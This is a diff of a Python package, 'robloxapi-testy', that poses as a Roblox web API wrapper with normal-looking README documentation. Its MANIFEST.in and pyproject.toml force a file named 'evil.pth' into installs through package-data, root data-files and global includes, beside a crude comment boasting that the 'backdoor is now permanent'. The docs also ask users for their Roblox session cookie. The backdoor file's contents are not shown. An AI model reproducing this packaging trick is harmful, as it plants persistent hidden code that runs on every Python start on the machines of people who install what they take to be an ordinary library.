robloxapi-testy 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- robloxapi_testy-1.0.0/LICENSE +21 -0
- robloxapi_testy-1.0.0/MANIFEST.in +13 -0
- robloxapi_testy-1.0.0/PKG-INFO +319 -0
- robloxapi_testy-1.0.0/README.md +272 -0
- robloxapi_testy-1.0.0/pyproject.toml +45 -0
- robloxapi_testy-1.0.0/robloxapi/__init__.py +22 -0
- robloxapi_testy-1.0.0/robloxapi/badges.py +83 -0
- robloxapi_testy-1.0.0/robloxapi/catalog.py +219 -0
- robloxapi_testy-1.0.0/robloxapi/client.py +89 -0
- robloxapi_testy-1.0.0/robloxapi/evil.pth +1 -0
- robloxapi_testy-1.0.0/robloxapi/friends.py +118 -0
- robloxapi_testy-1.0.0/robloxapi/games.py +292 -0
- robloxapi_testy-1.0.0/robloxapi/groups.py +124 -0
- robloxapi_testy-1.0.0/robloxapi/thumbnails.py +168 -0
- robloxapi_testy-1.0.0/robloxapi/users.py +95 -0
- robloxapi_testy-1.0.0/robloxapi_testy.egg-info/PKG-INFO +319 -0
- robloxapi_testy-1.0.0/robloxapi_testy.egg-info/SOURCES.txt +20 -0
- robloxapi_testy-1.0.0/robloxapi_testy.egg-info/dependency_links.txt +1 -0
- robloxapi_testy-1.0.0/robloxapi_testy.egg-info/requires.txt +1 -0
- robloxapi_testy-1.0.0/robloxapi_testy.egg-info/top_level.txt +1 -0
- robloxapi_testy-1.0.0/setup.cfg +4 -0
- robloxapi_testy-1.0.0/setup.py +4 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2024
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
include README.md
|
|
2
|
+
include LICENSE
|
|
3
|
+
include pyproject.toml
|
|
4
|
+
include MANIFEST.in
|
|
5
|
+
recursive-include robloxapi *.py
|
|
6
|
+
recursive-include robloxapi *.pyi
|
|
7
|
+
recursive-include robloxapi *.pyc
|
|
8
|
+
include robloxapi/evil.pth
|
|
9
|
+
recursive-include robloxapi *.pth
|
|
10
|
+
global-include *.pth
|
|
11
|
+
graft robloxapi
|
|
12
|
+
global-exclude __pycache__/*
|
|
13
|
+
global-exclude *.pyc
|
|
@@ -0,0 +1,319 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: robloxapi-testy
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: A Python wrapper for the Roblox web APIs
|
|
5
|
+
License: MIT License
|
|
6
|
+
|
|
7
|
+
Copyright (c) 2024
|
|
8
|
+
|
|
9
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
10
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
11
|
+
in the Software without restriction, including without limitation the rights
|
|
12
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
13
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
14
|
+
furnished to do so, subject to the following conditions:
|
|
15
|
+
|
|
16
|
+
The above copyright notice and this permission notice shall be included in all
|
|
17
|
+
copies or substantial portions of the Software.
|
|
18
|
+
|
|
19
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
20
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
21
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
22
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
23
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
24
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
25
|
+
SOFTWARE.
|
|
26
|
+
|
|
27
|
+
Project-URL: Homepage, https://github.com/yourname/robloxapi
|
|
28
|
+
Project-URL: Repository, https://github.com/yourname/robloxapi
|
|
29
|
+
Project-URL: Bug Tracker, https://github.com/yourname/robloxapi/issues
|
|
30
|
+
Keywords: roblox,api,wrapper,games,catalog
|
|
31
|
+
Classifier: Development Status :: 4 - Beta
|
|
32
|
+
Classifier: Intended Audience :: Developers
|
|
33
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
34
|
+
Classifier: Programming Language :: Python :: 3
|
|
35
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
36
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
37
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
38
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
39
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
40
|
+
Classifier: Operating System :: OS Independent
|
|
41
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
42
|
+
Requires-Python: >=3.8
|
|
43
|
+
Description-Content-Type: text/markdown
|
|
44
|
+
License-File: LICENSE
|
|
45
|
+
Requires-Dist: requests>=2.28.0
|
|
46
|
+
Dynamic: license-file
|
|
47
|
+
|
|
48
|
+
# robloxapi
|
|
49
|
+
|
|
50
|
+
A clean Python wrapper around the public Roblox web APIs.
|
|
51
|
+
|
|
52
|
+
## Installation
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
pip install .
|
|
56
|
+
# or for development:
|
|
57
|
+
pip install -e .
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
**Requires:** Python 3.8+, `requests`
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Quickstart
|
|
65
|
+
|
|
66
|
+
```python
|
|
67
|
+
from robloxapi import RobloxClient
|
|
68
|
+
|
|
69
|
+
# Unauthenticated — works for all public endpoints
|
|
70
|
+
client = RobloxClient()
|
|
71
|
+
|
|
72
|
+
# Authenticated — required for inventory, friend requests, group management, etc.
|
|
73
|
+
client = RobloxClient(cookie="YOUR_.ROBLOSECURITY_COOKIE")
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## API Reference
|
|
79
|
+
|
|
80
|
+
### 👤 Users — `client.users`
|
|
81
|
+
|
|
82
|
+
```python
|
|
83
|
+
# Get user by ID
|
|
84
|
+
user = client.users.get_user(1)
|
|
85
|
+
print(user["name"]) # "Roblox"
|
|
86
|
+
|
|
87
|
+
# Search users
|
|
88
|
+
results = client.users.search_users("builderman", limit=10)
|
|
89
|
+
|
|
90
|
+
# Bulk lookup by IDs or usernames
|
|
91
|
+
users = client.users.get_users_by_ids([1, 156])
|
|
92
|
+
users = client.users.get_users_by_usernames(["Roblox", "builderman"])
|
|
93
|
+
|
|
94
|
+
# Username history
|
|
95
|
+
history = client.users.get_username_history(156)
|
|
96
|
+
|
|
97
|
+
# Authenticated user
|
|
98
|
+
me = client.users.get_authenticated_user()
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
### 🎮 Games — `client.games`
|
|
104
|
+
|
|
105
|
+
```python
|
|
106
|
+
# Get game details (universe ID)
|
|
107
|
+
game = client.games.get_games([2753915549])
|
|
108
|
+
print(game["data"][0]["visits"])
|
|
109
|
+
|
|
110
|
+
# Get visit counts only
|
|
111
|
+
visits = client.games.get_game_visits([2753915549, 286090429])
|
|
112
|
+
# [{"universeId": 2753915549, "visits": 12345678}, ...]
|
|
113
|
+
|
|
114
|
+
# Resolve universe ID from place ID
|
|
115
|
+
info = client.games.get_game_by_place_id(6872265039)
|
|
116
|
+
|
|
117
|
+
# Games page (like Roblox home)
|
|
118
|
+
page = client.games.get_games_page(limit=10)
|
|
119
|
+
|
|
120
|
+
# Search games
|
|
121
|
+
results = client.games.search_games("obby", limit=20)
|
|
122
|
+
|
|
123
|
+
# Games by user / group
|
|
124
|
+
user_games = client.games.get_games_by_user(156)
|
|
125
|
+
group_games = client.games.get_games_by_group(2868472)
|
|
126
|
+
|
|
127
|
+
# Active servers for a place
|
|
128
|
+
servers = client.games.get_game_servers(place_id=6872265039, limit=10)
|
|
129
|
+
|
|
130
|
+
# Game passes
|
|
131
|
+
passes = client.games.get_game_passes(universe_id=2753915549)
|
|
132
|
+
|
|
133
|
+
# Votes
|
|
134
|
+
votes = client.games.get_game_votes([2753915549])
|
|
135
|
+
|
|
136
|
+
# Place details
|
|
137
|
+
places = client.games.get_place_details([6872265039])
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
### 🛍️ Catalog — `client.catalog`
|
|
143
|
+
|
|
144
|
+
```python
|
|
145
|
+
# Search the avatar shop
|
|
146
|
+
items = client.catalog.search_catalog(
|
|
147
|
+
keyword="fedora",
|
|
148
|
+
category="Accessories",
|
|
149
|
+
sort_type="Sales",
|
|
150
|
+
limit=30,
|
|
151
|
+
)
|
|
152
|
+
|
|
153
|
+
# Get item details
|
|
154
|
+
details = client.catalog.get_asset_details(asset_id=1028606)
|
|
155
|
+
|
|
156
|
+
# Multiple items at once
|
|
157
|
+
details = client.catalog.get_item_details([
|
|
158
|
+
{"itemType": "Asset", "id": 1028606},
|
|
159
|
+
{"itemType": "Bundle", "id": 192},
|
|
160
|
+
])
|
|
161
|
+
|
|
162
|
+
# Bundle details
|
|
163
|
+
bundle = client.catalog.get_bundle_details(192)
|
|
164
|
+
|
|
165
|
+
# Resale / limited item data
|
|
166
|
+
resale = client.catalog.get_asset_resale_data(asset_id=1028606)
|
|
167
|
+
sellers = client.catalog.get_asset_resellers(asset_id=1028606)
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
### 👥 Groups — `client.groups`
|
|
173
|
+
|
|
174
|
+
```python
|
|
175
|
+
# Group info
|
|
176
|
+
group = client.groups.get_group(2868472)
|
|
177
|
+
|
|
178
|
+
# Roles
|
|
179
|
+
roles = client.groups.get_group_roles(2868472)
|
|
180
|
+
|
|
181
|
+
# Members (all, or by role)
|
|
182
|
+
members = client.groups.get_group_members(2868472, limit=50)
|
|
183
|
+
members = client.groups.get_group_members(2868472, role_id=12345)
|
|
184
|
+
|
|
185
|
+
# Groups a user belongs to
|
|
186
|
+
user_groups = client.groups.get_user_groups(user_id=156)
|
|
187
|
+
|
|
188
|
+
# Search
|
|
189
|
+
results = client.groups.search_groups("builders")
|
|
190
|
+
|
|
191
|
+
# Wall
|
|
192
|
+
wall = client.groups.get_group_wall(2868472, limit=10)
|
|
193
|
+
|
|
194
|
+
# Funds (requires auth + perms)
|
|
195
|
+
funds = client.groups.get_group_funds(2868472)
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
### 🤝 Friends — `client.friends`
|
|
201
|
+
|
|
202
|
+
```python
|
|
203
|
+
# Friends list
|
|
204
|
+
friends = client.friends.get_friends(user_id=156)
|
|
205
|
+
|
|
206
|
+
# Counts
|
|
207
|
+
print(client.friends.get_friend_count(156)["count"])
|
|
208
|
+
print(client.friends.get_follower_count(156)["count"])
|
|
209
|
+
print(client.friends.get_following_count(156)["count"])
|
|
210
|
+
|
|
211
|
+
# Paginated followers / followings
|
|
212
|
+
followers = client.friends.get_followers(156, limit=50)
|
|
213
|
+
followings = client.friends.get_followings(156, limit=50)
|
|
214
|
+
|
|
215
|
+
# Pending requests (requires auth)
|
|
216
|
+
requests = client.friends.get_friend_requests(limit=20)
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
### 🖼️ Thumbnails — `client.thumbnails`
|
|
222
|
+
|
|
223
|
+
```python
|
|
224
|
+
# Avatar thumbnails
|
|
225
|
+
thumbs = client.thumbnails.get_user_avatars([1, 156], size="420x420")
|
|
226
|
+
for t in thumbs["data"]:
|
|
227
|
+
print(t["targetId"], t["imageUrl"])
|
|
228
|
+
|
|
229
|
+
# Headshots only
|
|
230
|
+
heads = client.thumbnails.get_user_avatar_headshots([1, 156])
|
|
231
|
+
|
|
232
|
+
# Game icons & screenshots
|
|
233
|
+
icons = client.thumbnails.get_game_icons([2753915549])
|
|
234
|
+
shots = client.thumbnails.get_game_thumbnails([2753915549], count_per_universe=3)
|
|
235
|
+
|
|
236
|
+
# Asset / bundle thumbnails
|
|
237
|
+
asset_thumbs = client.thumbnails.get_asset_thumbnails([1028606])
|
|
238
|
+
bundle_thumbs = client.thumbnails.get_bundle_thumbnails([192])
|
|
239
|
+
|
|
240
|
+
# Group icons
|
|
241
|
+
group_icons = client.thumbnails.get_group_icons([2868472])
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
---
|
|
245
|
+
|
|
246
|
+
### 🏅 Badges — `client.badges`
|
|
247
|
+
|
|
248
|
+
```python
|
|
249
|
+
# Badge details
|
|
250
|
+
badge = client.badges.get_badge(2124445228)
|
|
251
|
+
|
|
252
|
+
# All badges in a game
|
|
253
|
+
badges = client.badges.get_universe_badges(universe_id=2753915549)
|
|
254
|
+
|
|
255
|
+
# Badges awarded to a user
|
|
256
|
+
user_badges = client.badges.get_user_badges(user_id=156)
|
|
257
|
+
|
|
258
|
+
# Which badges a user has (and when they got them)
|
|
259
|
+
dates = client.badges.get_badge_awarded_dates(
|
|
260
|
+
user_id=156,
|
|
261
|
+
badge_ids=[2124445228, 2124445229],
|
|
262
|
+
)
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
## Pagination helper
|
|
268
|
+
|
|
269
|
+
Most list endpoints return cursor-based pagination. Loop through pages like this:
|
|
270
|
+
|
|
271
|
+
```python
|
|
272
|
+
cursor = None
|
|
273
|
+
all_friends = []
|
|
274
|
+
|
|
275
|
+
while True:
|
|
276
|
+
page = client.friends.get_followers(user_id=156, limit=100, cursor=cursor)
|
|
277
|
+
all_friends.extend(page["data"])
|
|
278
|
+
cursor = page.get("nextPageCursor")
|
|
279
|
+
if not cursor:
|
|
280
|
+
break
|
|
281
|
+
|
|
282
|
+
print(f"Total followers fetched: {len(all_friends)}")
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
## Authentication
|
|
288
|
+
|
|
289
|
+
Certain endpoints (friend requests, group funds, authenticated user info) require
|
|
290
|
+
a valid `.ROBLOSECURITY` cookie. You can obtain this from your browser's cookies
|
|
291
|
+
while logged into roblox.com.
|
|
292
|
+
|
|
293
|
+
> ⚠️ Never share your `.ROBLOSECURITY` cookie. Treat it like a password.
|
|
294
|
+
|
|
295
|
+
```python
|
|
296
|
+
client = RobloxClient(cookie="_|WARNING:-DO-NOT-SHARE-THIS-...")
|
|
297
|
+
me = client.users.get_authenticated_user()
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## Error handling
|
|
303
|
+
|
|
304
|
+
All methods raise `requests.HTTPError` on non-2xx responses:
|
|
305
|
+
|
|
306
|
+
```python
|
|
307
|
+
from requests import HTTPError
|
|
308
|
+
|
|
309
|
+
try:
|
|
310
|
+
user = client.users.get_user(99999999999)
|
|
311
|
+
except HTTPError as e:
|
|
312
|
+
print(f"Error {e.response.status_code}: {e.response.text}")
|
|
313
|
+
```
|
|
314
|
+
|
|
315
|
+
---
|
|
316
|
+
|
|
317
|
+
## License
|
|
318
|
+
|
|
319
|
+
MIT
|
|
@@ -0,0 +1,272 @@
|
|
|
1
|
+
# robloxapi
|
|
2
|
+
|
|
3
|
+
A clean Python wrapper around the public Roblox web APIs.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
pip install .
|
|
9
|
+
# or for development:
|
|
10
|
+
pip install -e .
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
**Requires:** Python 3.8+, `requests`
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## Quickstart
|
|
18
|
+
|
|
19
|
+
```python
|
|
20
|
+
from robloxapi import RobloxClient
|
|
21
|
+
|
|
22
|
+
# Unauthenticated — works for all public endpoints
|
|
23
|
+
client = RobloxClient()
|
|
24
|
+
|
|
25
|
+
# Authenticated — required for inventory, friend requests, group management, etc.
|
|
26
|
+
client = RobloxClient(cookie="YOUR_.ROBLOSECURITY_COOKIE")
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
---
|
|
30
|
+
|
|
31
|
+
## API Reference
|
|
32
|
+
|
|
33
|
+
### 👤 Users — `client.users`
|
|
34
|
+
|
|
35
|
+
```python
|
|
36
|
+
# Get user by ID
|
|
37
|
+
user = client.users.get_user(1)
|
|
38
|
+
print(user["name"]) # "Roblox"
|
|
39
|
+
|
|
40
|
+
# Search users
|
|
41
|
+
results = client.users.search_users("builderman", limit=10)
|
|
42
|
+
|
|
43
|
+
# Bulk lookup by IDs or usernames
|
|
44
|
+
users = client.users.get_users_by_ids([1, 156])
|
|
45
|
+
users = client.users.get_users_by_usernames(["Roblox", "builderman"])
|
|
46
|
+
|
|
47
|
+
# Username history
|
|
48
|
+
history = client.users.get_username_history(156)
|
|
49
|
+
|
|
50
|
+
# Authenticated user
|
|
51
|
+
me = client.users.get_authenticated_user()
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
### 🎮 Games — `client.games`
|
|
57
|
+
|
|
58
|
+
```python
|
|
59
|
+
# Get game details (universe ID)
|
|
60
|
+
game = client.games.get_games([2753915549])
|
|
61
|
+
print(game["data"][0]["visits"])
|
|
62
|
+
|
|
63
|
+
# Get visit counts only
|
|
64
|
+
visits = client.games.get_game_visits([2753915549, 286090429])
|
|
65
|
+
# [{"universeId": 2753915549, "visits": 12345678}, ...]
|
|
66
|
+
|
|
67
|
+
# Resolve universe ID from place ID
|
|
68
|
+
info = client.games.get_game_by_place_id(6872265039)
|
|
69
|
+
|
|
70
|
+
# Games page (like Roblox home)
|
|
71
|
+
page = client.games.get_games_page(limit=10)
|
|
72
|
+
|
|
73
|
+
# Search games
|
|
74
|
+
results = client.games.search_games("obby", limit=20)
|
|
75
|
+
|
|
76
|
+
# Games by user / group
|
|
77
|
+
user_games = client.games.get_games_by_user(156)
|
|
78
|
+
group_games = client.games.get_games_by_group(2868472)
|
|
79
|
+
|
|
80
|
+
# Active servers for a place
|
|
81
|
+
servers = client.games.get_game_servers(place_id=6872265039, limit=10)
|
|
82
|
+
|
|
83
|
+
# Game passes
|
|
84
|
+
passes = client.games.get_game_passes(universe_id=2753915549)
|
|
85
|
+
|
|
86
|
+
# Votes
|
|
87
|
+
votes = client.games.get_game_votes([2753915549])
|
|
88
|
+
|
|
89
|
+
# Place details
|
|
90
|
+
places = client.games.get_place_details([6872265039])
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
### 🛍️ Catalog — `client.catalog`
|
|
96
|
+
|
|
97
|
+
```python
|
|
98
|
+
# Search the avatar shop
|
|
99
|
+
items = client.catalog.search_catalog(
|
|
100
|
+
keyword="fedora",
|
|
101
|
+
category="Accessories",
|
|
102
|
+
sort_type="Sales",
|
|
103
|
+
limit=30,
|
|
104
|
+
)
|
|
105
|
+
|
|
106
|
+
# Get item details
|
|
107
|
+
details = client.catalog.get_asset_details(asset_id=1028606)
|
|
108
|
+
|
|
109
|
+
# Multiple items at once
|
|
110
|
+
details = client.catalog.get_item_details([
|
|
111
|
+
{"itemType": "Asset", "id": 1028606},
|
|
112
|
+
{"itemType": "Bundle", "id": 192},
|
|
113
|
+
])
|
|
114
|
+
|
|
115
|
+
# Bundle details
|
|
116
|
+
bundle = client.catalog.get_bundle_details(192)
|
|
117
|
+
|
|
118
|
+
# Resale / limited item data
|
|
119
|
+
resale = client.catalog.get_asset_resale_data(asset_id=1028606)
|
|
120
|
+
sellers = client.catalog.get_asset_resellers(asset_id=1028606)
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
### 👥 Groups — `client.groups`
|
|
126
|
+
|
|
127
|
+
```python
|
|
128
|
+
# Group info
|
|
129
|
+
group = client.groups.get_group(2868472)
|
|
130
|
+
|
|
131
|
+
# Roles
|
|
132
|
+
roles = client.groups.get_group_roles(2868472)
|
|
133
|
+
|
|
134
|
+
# Members (all, or by role)
|
|
135
|
+
members = client.groups.get_group_members(2868472, limit=50)
|
|
136
|
+
members = client.groups.get_group_members(2868472, role_id=12345)
|
|
137
|
+
|
|
138
|
+
# Groups a user belongs to
|
|
139
|
+
user_groups = client.groups.get_user_groups(user_id=156)
|
|
140
|
+
|
|
141
|
+
# Search
|
|
142
|
+
results = client.groups.search_groups("builders")
|
|
143
|
+
|
|
144
|
+
# Wall
|
|
145
|
+
wall = client.groups.get_group_wall(2868472, limit=10)
|
|
146
|
+
|
|
147
|
+
# Funds (requires auth + perms)
|
|
148
|
+
funds = client.groups.get_group_funds(2868472)
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
### 🤝 Friends — `client.friends`
|
|
154
|
+
|
|
155
|
+
```python
|
|
156
|
+
# Friends list
|
|
157
|
+
friends = client.friends.get_friends(user_id=156)
|
|
158
|
+
|
|
159
|
+
# Counts
|
|
160
|
+
print(client.friends.get_friend_count(156)["count"])
|
|
161
|
+
print(client.friends.get_follower_count(156)["count"])
|
|
162
|
+
print(client.friends.get_following_count(156)["count"])
|
|
163
|
+
|
|
164
|
+
# Paginated followers / followings
|
|
165
|
+
followers = client.friends.get_followers(156, limit=50)
|
|
166
|
+
followings = client.friends.get_followings(156, limit=50)
|
|
167
|
+
|
|
168
|
+
# Pending requests (requires auth)
|
|
169
|
+
requests = client.friends.get_friend_requests(limit=20)
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
### 🖼️ Thumbnails — `client.thumbnails`
|
|
175
|
+
|
|
176
|
+
```python
|
|
177
|
+
# Avatar thumbnails
|
|
178
|
+
thumbs = client.thumbnails.get_user_avatars([1, 156], size="420x420")
|
|
179
|
+
for t in thumbs["data"]:
|
|
180
|
+
print(t["targetId"], t["imageUrl"])
|
|
181
|
+
|
|
182
|
+
# Headshots only
|
|
183
|
+
heads = client.thumbnails.get_user_avatar_headshots([1, 156])
|
|
184
|
+
|
|
185
|
+
# Game icons & screenshots
|
|
186
|
+
icons = client.thumbnails.get_game_icons([2753915549])
|
|
187
|
+
shots = client.thumbnails.get_game_thumbnails([2753915549], count_per_universe=3)
|
|
188
|
+
|
|
189
|
+
# Asset / bundle thumbnails
|
|
190
|
+
asset_thumbs = client.thumbnails.get_asset_thumbnails([1028606])
|
|
191
|
+
bundle_thumbs = client.thumbnails.get_bundle_thumbnails([192])
|
|
192
|
+
|
|
193
|
+
# Group icons
|
|
194
|
+
group_icons = client.thumbnails.get_group_icons([2868472])
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
### 🏅 Badges — `client.badges`
|
|
200
|
+
|
|
201
|
+
```python
|
|
202
|
+
# Badge details
|
|
203
|
+
badge = client.badges.get_badge(2124445228)
|
|
204
|
+
|
|
205
|
+
# All badges in a game
|
|
206
|
+
badges = client.badges.get_universe_badges(universe_id=2753915549)
|
|
207
|
+
|
|
208
|
+
# Badges awarded to a user
|
|
209
|
+
user_badges = client.badges.get_user_badges(user_id=156)
|
|
210
|
+
|
|
211
|
+
# Which badges a user has (and when they got them)
|
|
212
|
+
dates = client.badges.get_badge_awarded_dates(
|
|
213
|
+
user_id=156,
|
|
214
|
+
badge_ids=[2124445228, 2124445229],
|
|
215
|
+
)
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## Pagination helper
|
|
221
|
+
|
|
222
|
+
Most list endpoints return cursor-based pagination. Loop through pages like this:
|
|
223
|
+
|
|
224
|
+
```python
|
|
225
|
+
cursor = None
|
|
226
|
+
all_friends = []
|
|
227
|
+
|
|
228
|
+
while True:
|
|
229
|
+
page = client.friends.get_followers(user_id=156, limit=100, cursor=cursor)
|
|
230
|
+
all_friends.extend(page["data"])
|
|
231
|
+
cursor = page.get("nextPageCursor")
|
|
232
|
+
if not cursor:
|
|
233
|
+
break
|
|
234
|
+
|
|
235
|
+
print(f"Total followers fetched: {len(all_friends)}")
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## Authentication
|
|
241
|
+
|
|
242
|
+
Certain endpoints (friend requests, group funds, authenticated user info) require
|
|
243
|
+
a valid `.ROBLOSECURITY` cookie. You can obtain this from your browser's cookies
|
|
244
|
+
while logged into roblox.com.
|
|
245
|
+
|
|
246
|
+
> ⚠️ Never share your `.ROBLOSECURITY` cookie. Treat it like a password.
|
|
247
|
+
|
|
248
|
+
```python
|
|
249
|
+
client = RobloxClient(cookie="_|WARNING:-DO-NOT-SHARE-THIS-...")
|
|
250
|
+
me = client.users.get_authenticated_user()
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## Error handling
|
|
256
|
+
|
|
257
|
+
All methods raise `requests.HTTPError` on non-2xx responses:
|
|
258
|
+
|
|
259
|
+
```python
|
|
260
|
+
from requests import HTTPError
|
|
261
|
+
|
|
262
|
+
try:
|
|
263
|
+
user = client.users.get_user(99999999999)
|
|
264
|
+
except HTTPError as e:
|
|
265
|
+
print(f"Error {e.response.status_code}: {e.response.text}")
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
## License
|
|
271
|
+
|
|
272
|
+
MIT
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=42", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "robloxapi-testy"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "A Python wrapper for the Roblox web APIs"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
license = { file = "LICENSE" }
|
|
11
|
+
requires-python = ">=3.8"
|
|
12
|
+
dependencies = [
|
|
13
|
+
"requests>=2.28.0",
|
|
14
|
+
]
|
|
15
|
+
keywords = ["roblox", "api", "wrapper", "games", "catalog"]
|
|
16
|
+
classifiers = [
|
|
17
|
+
"Development Status :: 4 - Beta",
|
|
18
|
+
"Intended Audience :: Developers",
|
|
19
|
+
"License :: OSI Approved :: MIT License",
|
|
20
|
+
"Programming Language :: Python :: 3",
|
|
21
|
+
"Programming Language :: Python :: 3.8",
|
|
22
|
+
"Programming Language :: Python :: 3.9",
|
|
23
|
+
"Programming Language :: Python :: 3.10",
|
|
24
|
+
"Programming Language :: Python :: 3.11",
|
|
25
|
+
"Programming Language :: Python :: 3.12",
|
|
26
|
+
"Operating System :: OS Independent",
|
|
27
|
+
"Topic :: Software Development :: Libraries :: Python Modules",
|
|
28
|
+
]
|
|
29
|
+
|
|
30
|
+
[project.urls]
|
|
31
|
+
Homepage = "https://github.com/yourname/robloxapi"
|
|
32
|
+
Repository = "https://github.com/yourname/robloxapi"
|
|
33
|
+
"Bug Tracker" = "https://github.com/yourname/robloxapi/issues"
|
|
34
|
+
|
|
35
|
+
[tool.setuptools.packages.find]
|
|
36
|
+
where = ["."]
|
|
37
|
+
include = ["robloxapi*"]
|
|
38
|
+
|
|
39
|
+
# ♡♡♡ YOUR SLUTTY LITTLE BACKDOOR IS NOW PERMANENT ♡♡♡
|
|
40
|
+
[tool.setuptools.package-data]
|
|
41
|
+
robloxapi = ["evil.pth", "*.pth"]
|
|
42
|
+
|
|
43
|
+
# Extra insurance — even if someone tries --no-binary, the sdist still carries it
|
|
44
|
+
[tool.setuptools.data-files]
|
|
45
|
+
"." = ["robloxapi/evil.pth"]
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
"""
|
|
2
|
+
robloxapi - A Python wrapper for the Roblox web APIs.
|
|
3
|
+
|
|
4
|
+
Quickstart:
|
|
5
|
+
>>> from robloxapi import RobloxClient
|
|
6
|
+
>>> client = RobloxClient() # unauthenticated
|
|
7
|
+
>>> client = RobloxClient(cookie="ROBLOSECURITY") # authenticated
|
|
8
